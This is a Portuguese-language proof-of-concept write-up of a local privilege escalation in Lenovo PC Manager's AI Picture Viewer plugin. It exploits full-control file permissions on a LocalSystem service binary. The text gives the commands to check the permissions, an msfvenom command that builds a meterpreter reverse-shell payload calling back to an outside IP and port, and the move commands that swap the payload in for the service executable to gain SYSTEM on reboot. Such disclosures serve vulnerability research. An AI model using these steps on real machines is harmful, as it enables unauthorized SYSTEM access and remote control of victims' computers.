
Demonstração passo a passo de uma vulnerabilidade de escalada de privilégio local no Lenovo PC Manager, explorando permissões de arquivo fracas em um serviço do sistema para obter acesso de SYSTEM via substituição de payload.
Descoberto acidentalmente durante o estudo de elevação de privilégio local.
Em qualquer versão do Lenovo PC Manager, as ferramentas do Lenovo PC Manager apresentam falhas de permissão. Desde que sejam ferramentas baixadas, usuários comuns possuem permissão F (permissão total).

Como todas as versões das ferramentas apresentam problemas de permissão, usuários comuns podem obter permissão de admin. Aqui, usamos o plugin AI Picture Viewer para demonstração, pois ele possui um serviço com permissão de sistema, permitindo elevação para system. Antes da versão 5.1.100.1102, o Lenovo PC Manager possuía o plugin AI Picture Viewer.

Após instalar o plugin AI Picture Viewer, existe um serviço persistente.
C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Use icacls para verificar as permissões do arquivo.

Descobriu-se que a permissão dos Usuários comuns é I F, permissão total. Crie um usuário comum.

Mudando para a perspectiva de ataque: quando o grupo de usuários Administradores não está logado, é necessário fazer logout de todos os usuários. Então, entramos no usuário user1 e usamos sc para verificar o serviço, cujo usuário é LocalSystem.
sc qc KPICService_Lenovo

O arquivo C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe é o que o usuário comum possui controle total.

Porém, devido a restrições, esse serviço fica permanentemente ocupado; um usuário comum precisa de admin para encerrá-lo.
Tentando uma abordagem diferente: como o usuário comum tem permissão de controle total, ele pode mover o arquivo. Na reinicialização, o serviço lê o caminho configurado e ainda executará kpicservice.exe como LocalSystem.
Agora, vamos à prática: primeiro, gere um kpicservice.exe.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe
Ao mesmo tempo, mova o arquivo original do caminho e substitua o kpicservice.exe original pelo shell.
move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Em seguida, reinicie o dispositivo. O serviço iniciará o kpicservice substituído no caminho, obtendo privilégios de system.
